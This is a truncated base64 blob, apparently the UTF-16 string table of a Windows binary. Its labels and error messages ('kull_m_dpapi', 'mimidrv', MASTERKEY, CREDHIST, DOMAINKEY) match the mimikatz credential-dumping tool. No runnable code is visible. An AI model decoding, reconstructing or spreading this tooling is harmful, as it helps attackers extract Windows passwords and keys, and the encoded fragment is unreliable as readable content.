AAAAAAQwBFAFIAVABfAEMAQQBfAE8AQwBTAFAAXwBBAFUAVABIAE8AUgBJAFQAWQBfAEkATgBGAE8AXwBBAEMAQwBFAFMAUwBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBDAEEAXwBEAEkAUwBBAEIATABFAF8AQwBSAEwAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAFIATwBPAFQAXwBQAFIATwBHAFIAQQBNAF8AQwBFAFIAVABfAFAATwBMAEkAQwBJAEUAUwBfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUgBPAE8AVABfAFAAUgBPAEcAUgBBAE0AXwBOAEEATQBFAF8AQwBPAE4AUwBUAFIAQQBJAE4AVABTAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBVAEIASgBFAEMAVABfAE8AQwBTAFAAXwBBAFUAVABIAE8AUgBJAFQAWQBfAEkATgBGAE8AXwBBAEMAQwBFAFMAUwBfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUwBVAEIASgBFAEMAVABfAEQASQBTAEEAQgBMAEUAXwBDAFIATABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAABDAEUAUgBUAF8AQwBFAFAAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAG8AcgBpAGcAaQBuAGEAbABfAEMARQBQAF8AUABSAE8AUABfAEkARAAAAAAAAABDAEUAUgBUAF8AUwBJAEcATgBfAEgAQQBTAEgAXwBDAE4ARwBfAEEATABHAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAFMAQwBBAFIARABfAFAASQBOAF8ASQBEAF8AUABSAE8AUABfAEkARAAAAAAAAABDAEUAUgBUAF8AUwBDAEEAUgBEAF8AUABJAE4AXwBJAE4ARgBPAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAQwBFAFIAVABfAFMAVQBCAEoARQBDAFQAXwBQAFUAQgBfAEsARQBZAF8AQgBJAFQAXwBMAEUATgBHAFQASABfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AUABVAEIAXwBLAEUAWQBfAEMATgBHAF8AQQBMAEcAXwBCAEkAVABfAEwARQBOAEcAVABIAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBJAFMAUwBVAEUAUgBfAFAAVQBCAF8ASwBFAFkAXwBCAEkAVABfAEwARQBOAEcAVABIAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEkAUwBTAFUARQBSAF8AQwBIAEEASQBOAF8AUwBJAEcATgBfAEgAQQBTAEgAXwBDAE4ARwBfAEEATABHAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAQwBFAFIAVABfAEkAUwBTAFUARQBSAF8AQwBIAEEASQBOAF8AUABVAEIAXwBLAEUAWQBfAEMATgBHAF8AQQBMAEcAXwBCAEkAVABfAEwARQBOAEcAVABIAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBOAE8AXwBFAFgAUABJAFIARQBfAE4ATwBUAEkARgBJAEMAQQBUAEkATwBOAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAQwBFAFIAVABfAEEAVQBUAEgAXwBSAE8ATwBUAF8AUwBIAEEAMgA1ADYAXwBIAEEAUwBIAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAAABDAEUAUgBUAF8ATgBDAFIAWQBQAFQAXwBLAEUAWQBfAEgAQQBOAEQATABFAF8AVABSAEEATgBTAEYARQBSAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBIAEMAUgBZAFAAVABQAFIATwBWAF8AVABSAEEATgBTAEYARQBSAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBTAE0AQQBSAFQAXwBDAEEAUgBEAF8AUgBFAEEARABFAFIAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAEUATgBEAF8AQQBTAF8AVABSAFUAUwBUAEUARABfAEkAUwBTAFUARQBSAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAQwBFAFIAVABfAEsARQBZAF8AUgBFAFAAQQBJAFIAXwBBAFQAVABFAE0AUABUAEUARABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAAAAAABDAEUAUgBUAF8ARABJAFMAQQBMAEwATwBXAEUARABfAEYASQBMAEUAVABJAE0ARQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBSAE8ATwBUAF8AUABSAE8ARwBSAEEATQBfAEMASABBAEkATgBfAFAATwBMAEkAQwBJAEUAUwBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAE0AQQBSAFQAXwBDAEEAUgBEAF8AUgBFAEEARABFAFIAXwBOAE8ATgBfAFIARQBNAE8AVgBBAEIATABFAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBTAEgAQQAyADUANgBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBTAEUAUgBWAEUAUgBfAEMARQBSAFQAUwBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBSAEEAXwBTAEkARwBOAEEAVABVAFIARQBfAEMARQBSAFQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAFIAQQBfAEUATgBDAFIAWQBQAFQASQBPAE4AXwBDAEUAUgBUAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAEMARQBSAFQAXwBTAEMARQBQAF8AQwBBAF8AQwBFAFIAVABfAFAAUgBPAFAAXwBJAEQAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBTAEkARwBOAEUAUgBfAEMARQBSAFQAXwBQAFIATwBQAF8ASQBEAAAAAAAAAEMARQBSAFQAXwBTAEMARQBQAF8ATgBPAE4AQwBFAF8AUABSAE8AUABfAEkARAAAAAAAAAAAAAAAQwBFAFIAVABfAFMAQwBFAFAAXwBFAE4AQwBSAFkAUABUAF8ASABBAFMASABfAEMATgBHAF8AQQBMAEcAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUwBDAEUAUABfAEYATABBAEcAUwBfAFAAUgBPAFAAXwBJAEQAAABQAFIATwBWAF8AYwBuAGcAAAAAAAAAAABBAFQAXwBLAEUAWQBFAFgAQwBIAEEATgBHAEUAAAAAAEEAVABfAFMASQBHAE4AQQ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AlACoAcwAgACAAZAB3AE4AZQB4AHQATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACoAKgBDAFIARQBEAEgASQBTAFQAIABFAE4AVABSAFkAKgAqAAoAAAAAACUAKgBzACAAIABkAHcAVAB5AHAAZQAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAlACoAcwAgACAAYQBsAGcASABhAHMAaAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAAAAlACoAcwAgACAAcgBvAHUAbgBkAHMAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABzAGkAZABMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAAAAlACoAcwAgACAAcwBoAGEAMQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABtAGQANABMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAFMAYQBsAHQAIAAgACAAIAAgACAAOgAgAAAAAAAAACUAKgBzACAAIABTAGkAZAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAcABTAGUAYwByAGUAdAAgACAAIAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGIAbABvAGIAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGMAbABvAHMAZQBfAGgAcAByAG8AdgBfAGQAZQBsAGUAdABlAF8AYwBvAG4AdABhAGkAbgBlAHIAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAG0AYQBzAHQAZQByAGsAZQB5AF8AdwBpAHQAaABfAHMAaABhAEQAZQByAGkAdgBlAGQAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAXwBzAGUAcwBzAGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AZABvAG0AYQBpAG4AawBlAHkAXwB3AGkAdABoAF8AawBlAHkAIAA7ACAAQwByAHkAcAB0AFMAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBjAHIAZQBkAGgAaQBzAHQAXwBlAG4AdAByAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AYwBsAG8AcwBlAF8AaABwAHIAbwB2AF8AZABlAGwAZQB0AGUAXwBjAG8AbgB0AGEAaQBuAGUAcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBjAHIAZQBkAGgAaQBzAHQAXwBlAG4AdAByAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABvAG4AXwB1AG4AcAByAG8AdABlAGMAdAAAAAAAAAAAAG8AbgBfAHAAcgBvAHQAZQBjAHQAAAAAAHIAZQBzAGUAcgB2AGUAZAAAAAAAAAAAAHMAdAByAG8AbgBnAAAAAAByAGUAcQB1AGkAcgBlAF8AcwB0AHIAbwBuAGcAAAAAACUAcwAgADsAIAAAAAAAAAB1AGkAXwBmAG8AcgBiAGkAZABkAGUAbgAAAAAAAAAAAHUAbgBrAG4AbwB3AG4AAABjAHIAZQBkAF8AcwB5AG4AYwAAAAAAAABhAHUAZABpAHQAAAAAAAAAbgBvAF8AcgBlAGMAbwB2AGUAcgB5AAAAdgBlAHIAaQBmAHkAXwBwAHIAbwB0AGUAYwB0AGkAbwBuAAAAAAAAAGMAcgBlAGQAXwByAGUAZwBlAG4AZQByAGEAdABlAAAAcwB5AHMAdABlAG0AAAAAAHAAcgBvAG0AcAB0AF8AbwBuAF8AdQBuAHAAcgBvAHQAZQBjAHQAAABwAHIAbwBtAHAAdABfAG8AbgBfAHAAcgBvAHQAZQBjAHQAAAAAAAAAcAByAG8AbQBwAHQAXwBzAHQAcgBvAG4AZwAAAAAAAAAAAAAAAAAAAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAQgBhAHMAZQA2ADQAIABvAGYAIABmAGkAbABlACAAOgAgACUAcwAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAJQBjAAAAAAA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAlACoAcwBEAGkAcgBlAGMAdABvAHIAeQAgACcAJQBzACcAAAAAAAAAIAAoACUAcwApAAAAXAAAACoAAAAuAAAALgAuAAAAAAAlACoAcwAlADMAdQAgACUAYwB8ACcAJQBzACcACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgADsAIABEAGUAdgBpAGMAZQBJAG8AQwBvAG4AdAByAG8AbAAgACgAMAB4ACUAMAA4AHgAKQAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAXABcAC4AXABtAGkAbQBpAGQAcgB2AAAAJQAqAHMAKgAqAEsARQBZACAAKABjAGEAcABpACkAKgAqAAoAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBVAG4AaQBxAHUAZQBOAGEAbQBlAEwAZQBuACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAaQBQAHUAYgBsAGkAYwBLAGUAeQBMAGUAbgAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAUwBpAFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBFAHgAUAB1AGIAbABpAGMASwBlAHkATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEUAeABQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABhAHMAaABMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkARQB4AHAAbwByAHQARgBsAGEAZwBMAGUAbgAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEUAeABFAHgAcABvAHIAdABGAGwAYQBnAEwAZQBuACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABwAFUAbgBpAHEAdQBlAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQBTAAoAAAAlACoAcwAgACAAcABIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAFMAaQBQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAAUwBpAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABTAGkARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAACUAKgBzACAAIABwAEUAeABQAHUAYgBsAGkAYwBLAGUAeQAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAIAAgAHAARQB4AFAAcgBpAHYAYQB0AGUASwBlAHkAIAAgACAAIAAgACAAOgAKAAAAAAAlACoAcwAgACAAcABFAHgARQB4AHAAbwByAHQARgBsAGEAZwAgACAAIAAgACAAIAA6AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAeQBfAGMAbgBnAF8AcAByAG8AcABlAHIAdABpAGUAcwBfAGMAcgBlAGEAdABlACAAKABwAHUAYgBsAGkAYwApAAoAAAAAAAAAAAAlACoAcwAqACoASwBFAFkAIAAoAGMAbgBnACkAKgAqAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcATgBhAG0AZQBMAGUAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAByAGkAdgBhAHQAZQBQAHIAbwBwAGUAcgB0AGkAZQBzAEwAZQBuADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdQBuAGsAQQByAHIAYQB5AFsAMQA2AF0AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACUALgAqAHMACgAAAAAAAAAlACoAcwAgACAAcABQAHUAYgBsAGkAYwBQAHIAbwBwAGUAcgB0AGkAZQBzACAAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBQAHIAbwBwAG